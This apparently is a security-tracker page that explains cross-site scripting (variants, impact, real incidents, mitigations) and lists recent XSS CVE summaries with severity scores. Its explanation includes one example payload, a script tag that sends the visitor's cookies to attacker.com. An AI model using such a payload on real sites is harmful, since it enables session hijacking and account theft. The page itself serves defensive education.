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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40681)

EPSS 11% CVSS 9.8
CRITICAL POC THREAT Emergency

XSS in MailEnable before v10 via failure.aspx. EPSS 11.5%. PoC available.

XSS RCE Mailenable
NVD GitHub
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability was found in TOTOLINK A3002RU 2.1.1-B20230720.1011. It has been classified as problematic. Affected is an unknown function of the component NAT Mapping Page. The manipulation of the argument Comment leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

XSS TOTOLINK
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability was found in TOTOLINK A3002RU 2.1.1-B20230720.1011 and classified as problematic. This issue affects some unknown processing of the file /boafrm/formPortFw of the component Virtual Server Page. The manipulation of the argument service_type leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

XSS TOTOLINK
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability was discovered in Unicom Focal Point 7.6.1. The val parameter in SettingController (for /fp/admin/settings/loginpage) and the rootserviceurl parameter in FriendsController (for /fp/admin/settings/friends), entered by an admin, allow stored XSS.

XSS Focal Point Unicomsi
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Music Player for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘album_buy_url’ parameter in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Profile Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's user_meta and compare shortcodes in all versions up to, and including, 3.13.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Popup Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘popupID' parameter in all versions up to, and including, 1.20.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

A cross-site scripting vulnerability in Secure File Sharing (CVSS 7.2). High severity vulnerability requiring prompt remediation.

PHP WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Plugin Info Card plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘containerid’ parameter in all versions up to, and including, 5.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This issue is due to an incomplete patch for CVE-2025-31835.

PHP WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Vayu Blocks - Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘containerWidth’ parameter in all versions up to, and including, 1.3.1 due to a missing capability check on the vayu_blocks_option_panel_callback() function and insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bit File Manager - 100% Free & Open Source File Manager and Code Editor for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 6.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

The Post Slider and Post Carousel with Post Vertical Scrolling Widget WordPress plugin before 3.2.10 does not validate and escape some of its Widget options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

The FancyBox for WordPress plugin before 3.3.6 does not escape captions and titles attributes before using them to populate galleries' caption fields. The issue was received as a Contributor+ Stored XSS, however one of our researcher (Marc Montpas) escalated it to an Unauthenticated Stored XSS

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

The Newsletter WordPress plugin before 8.8.2 does not sanitise and escape some of its Subscription settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 7.2
HIGH This Week

A cross-site scripting vulnerability in wpForo Advanced Attachments (CVSS 7.2). High severity vulnerability requiring prompt remediation.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WordPress Comments Import & Export plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_settings function in all versions up to, and including, 2.4.3. Additionally, the plugin fails to properly sanitize and escape FTP settings parameters. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts on the plugin settings page that will execute whenever an administrative user accesses an injected page. The vulnerability was partially fixed in version 2.4.3 and fully fixed in version 2.4.4

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

osTicket prior to v1.17.6 and v1.18.2 are vulnerable to Broken Access Control Vulnerability in /scp/ajax.php.

PHP XSS Osticket
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

In Splunk Enterprise versions below 9.4.2, 9.3.4 and 9.2.6, and Splunk Cloud Platform versions below 9.3.2411.102, 9.3.2408.111 and 9.2.2406.118, a low-privileged user that does not hold the "admin" or "power" Splunk roles could craft a malicious payload through the pdfgen/render REST endpoint that could result in execution of unauthorized JavaScript code in the browser of a user.

XSS Splunk Splunk Cloud Platform
NVD
EPSS 0% CVSS 5.2
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability exists in multiple WSO2 products due to insufficient output encoding in error messages generated by the JDBC user store connection validation request. A malicious actor can inject a specially crafted payload into the request, causing the browser to execute arbitrary JavaScript in the context of the vulnerable page. This vulnerability may allow UI manipulation, redirection to malicious websites, or data exfiltration from the browser. However, since all session-related sensitive cookies are protected with the httpOnly flag, session hijacking is not possible.

XSS Api Manager Enterprise Integrator +5
NVD GitHub
EPSS 0% CVSS 4.3
MEDIUM PATCH This Month

A stored cross-site scripting (XSS) vulnerability exists in the Management Console of multiple WSO2 products due to insufficient input validation in the Rich Text Editor within the registry section. To exploit this vulnerability, a malicious actor must have a valid user account with administrative access to the Management Console. If successful, the actor could inject persistent JavaScript payloads, enabling the theft of user data or execution of unauthorized actions on behalf of other users. While this issue enables persistent client-side script execution, session-related cookies remain protected with the httpOnly flag, preventing session hijacking.

XSS Api Manager Enterprise Integrator +3
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability has been found in Cotonti Siena v0.9.25. Affected by this vulnerability is the file /admin.php?m=config&n=edit&o=core&p=title. The manipulation of the value of title leads to cross-site scripting.

PHP XSS Cotonti Siena +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Cross Site Scripting (XSS) vulnerability in Sitecom WLX-2006 Wall Mount Range Extender N300 v1.5 and before allows an attacker to manipulate the language cookie to inject malicious JavaScript code.

XSS Wlx 2006 Firmware Sitecom
NVD GitHub
EPSS 0% CVSS 8.1
HIGH This Week

Cross-site scripting (XSS) vulnerability in Dot desktop application (versions through 0.9.3) that allows unauthenticated local attackers to execute arbitrary commands with high complexity due to unsafe DOM manipulation via innerHTML. The vulnerability chains user input and LLM output directly into the DOM without sanitization, combined with Electron's Node.js API access, enabling command execution. This is a local attack vector with high impact on confidentiality, integrity, and availability.

XSS Node.js
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM POC PATCH This Month

Froxlor is open source server administration software. Prior to version 2.2.6, an HTML Injection vulnerability in the customer account portal allows an attacker to inject malicious HTML payloads in the email section. This can lead to phishing attacks, credential theft, and reputational damage by redirecting users to malicious external websites. The vulnerability has a medium severity, as it can be exploited through user input without authentication. Version 2.2.6 fixes the issue.

XSS Debian Froxlor
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. By renaming the friendly name of an API key, an authenticated user could inject JS into the API key overview, which would also be executed when another user clicks on his API tab. Prior to version 2.0.0, there was no user permission system implemented, therefore all authenticated users were already able to see and modify all resources, even if end-to-end encrypted, as the encryption key had to be the same for all users of versions prior to 2.0.0. If a user is the only authenticated user using Gokapi, they are not affected. This issue has been fixed in v2.0.0. A workaround would be to not open the API page if it is possible that another user might have injected code.

XSS Gokapi Suse +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. When using end-to-end encryption, a stored cross-site scripting vulnerability can be exploited by uploading a file with JavaScript code embedded in the filename. After upload and every time someone opens the upload list, the script is then parsed. Prior to version 2.0.0, there was no user permission system implemented, therefore all authenticated users were already able to see and modify all resources, even if end-to-end encrypted, as the encryption key had to be the same for all users using a version prior to 2.0.0. If a user is the only authenticated user using Gokapi, they are not affected. This issue has been fixed in v2.0.0. A possible workaround would be to disable end-to-end encryption.

XSS Gokapi Suse +1
NVD GitHub
EPSS 0% CVSS 6.3
MEDIUM PATCH This Month

CE Phoenix is a free, open-source eCommerce platform. A stored cross-site scripting (XSS) vulnerability was discovered in CE Phoenix versions 1.0.9.9 through 1.1.0.2 where an attacker can inject malicious JavaScript into the testimonial description field. Once submitted, if the shop owner (admin) approves the testimonial, the script executes in the context of any user visiting the testimonial page. Because the session cookies are not marked with the `HttpOnly` flag, they can be exfiltrated by the attacker - potentially leading to account takeover. Version 1.1.0.3 fixes the issue.

XSS Ce Phoenix Cart
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

The Real Cookie Banner: GDPR & ePrivacy Cookie Consent WordPress plugin before 5.1.6, real-cookie-banner-pro WordPress plugin before 5.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability classified as problematic was found in juzaweb CMS up to 3.4.2. Affected by this vulnerability is an unknown functionality of the file /admin-cp/file-manager/upload of the component Profile Page. The manipulation of the argument Upload leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

XSS Cms Juzaweb
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

A vulnerability classified as problematic has been found in Mist Community Edition up to 4.7.1. Affected is the function Login of the file src/mist/api/views.py of the component Authentication Endpoint. The manipulation of the argument return_to leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.7.2 is able to address this issue. The name of the patch is db10ecb62ac832c1ed4924556d167efb9bc07fad. It is recommended to upgrade the affected component.

XSS Mist
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

A vulnerability was found in Mist Community Edition up to 4.7.1. It has been rated as problematic. This issue affects the function tag_resources of the file src/mist/api/tag/views.py. The manipulation of the argument tag leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.7.2 is able to address this issue. The patch is named db10ecb62ac832c1ed4924556d167efb9bc07fad. It is recommended to upgrade the affected component.

XSS Mist
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability has been found in chaitak-gorai Blogbook up to 92f5cf90f8a7e6566b576fe0952e14e1c6736513 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /register_script.php. The manipulation of the argument fullname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. It is recommended to upgrade the affected component. The vendor was contacted early about this disclosure but did not respond in any way.

PHP XSS Blogbook +1
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability, which was classified as problematic, has been found in chaitak-gorai Blogbook up to 92f5cf90f8a7e6566b576fe0952e14e1c6736513. This issue affects some unknown processing of the file /post.php. The manipulation of the argument comment_author/comment_email/comment_content leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way.

PHP XSS Blogbook +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

IBM Planning Analytics Local 2.0 and 2.1 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

XSS IBM Planning Analytics Local
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Planning Analytics Local 2.0 and 2.1 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

XSS IBM Planning Analytics Local
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in Yifang CMS up to 2.0.2 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Yifang Wanglongcn
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability classified as problematic has been found in Astun Technology iShare Maps 5.4.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ishare Maps Astuntechnology
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in Astun Technology iShare Maps 5.4.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ishare Maps Astuntechnology
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Borderless - Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘title’ parameter in all versions up to, and including, 1.7.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘_elementor_data’ parameter in all versions up to, and including, 1.7.1020 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Element Pack Addons for Elementor - Best Elementor addons with Ready Templates, Blocks, Widgets and WooCommerce Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Product Subtitle for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘htmlTag’ parameter in all versions up to, and including, 1.3.9 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The FastSpring plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'fastspring/block-fastspringblocks-complete-product-catalog' block in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Daisycon prijsvergelijkers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'daisycon_uitvaart' shortcode in all versions up to, and including, 4.8.4 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

The Relevanssi - A Better Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Excerpt Highlights in all versions up to, and including, 4.24.5 (Free) and 2.27.6 (Premium). Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Chrome PHP allows users to start playing with chrome/chromium in headless mode from PHP. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Chrome +1
NVD GitHub
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Service Items Management in Service Process Engineer from Release 3DEXPERIENCE R2024x through Release 3DEXPERIENCE R2025x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting 3D Markup in Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Change Governance in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to execute. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Requirements in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to execute. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Week

A stored Cross-site Scripting (XSS) vulnerability affecting Results Analytics in Multidisciplinary Optimization Engineer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024x allows an. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting Model Definition in Product Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to execute. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting Risk Management in Project Portfolio Manager from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting City Discover in City Referential Manager on Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script code in user's. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting City Referential in City Referential Manager on Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script code in user's. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 8.7
HIGH This Month

A stored Cross-site Scripting (XSS) vulnerability affecting Compare in Collaborative Industry Innovator from Release 3DEXPERIENCE R2023x through Release 3DEXPERIENCE R2025x allows an attacker to. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Compare and Google Maps widgets in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 8.7
HIGH POC This Week

An issue has been discovered in GitLab EE that allows for cross-site-scripting attack and content security policy bypass in a user's browser under specific conditions, affecting all versions from. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The OpenSheetMusicDisplay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘className’ parameter in all versions up to, and including, 1.4.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The NinjaTeam Chat for Telegram plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘username’ parameter in all versions up to, and including, 1.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘data-lakit-element-link’ parameter in all versions up to, and including, 1.5.2 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +4
NVD
EPSS 0% CVSS 4.6
MEDIUM POC PATCH Monitor

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable. Public exploit code available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC Monitor

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC Monitor

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 6.0
MEDIUM POC This Month

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-site scripting vulnerability exists in wivia 5 all versions. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wivia 5 Firmware Uchida
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Minimal Share Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘align’ parameter in all versions up to, and including, 1.7.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Gearside Developer Dashboard WordPress plugin through 1.0.72 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 4.6
MEDIUM POC This Month

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Freescout
NVD GitHub
EPSS 0% CVSS 6.3
MEDIUM POC This Month

FreeScout is a free self-hosted help desk and shared mailbox. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Information Disclosure CSRF +1
NVD GitHub
EPSS 0% CVSS 9.0
CRITICAL PATCH This Week

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kubernetes Red Hat +3
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘additional_settings’ parameter in all versions up to, and including, 5.3.6 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Map Block Leaflet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Digital Downloads - eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's edd_receipt shortcode in all versions up. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Smash Balloon Social Photo Feed - Easy Social Feeds Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-plugin` attribute in all versions up to, and including,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.6
MEDIUM Monitor

CVE-2025-27706 is a cross-site scripting vulnerability in the management console of Absolute Secure Access prior to version 13.54. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Secure Access Absolute
NVD
EPSS 0% CVSS 7.2
HIGH This Month

Best Practical RT (Request Tracker) 5.0 through 5.0.7 allows XSS via JavaScript injection in an RT permalink. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Request Tracker Bestpractical
NVD
EPSS 0% CVSS 7.2
HIGH This Month

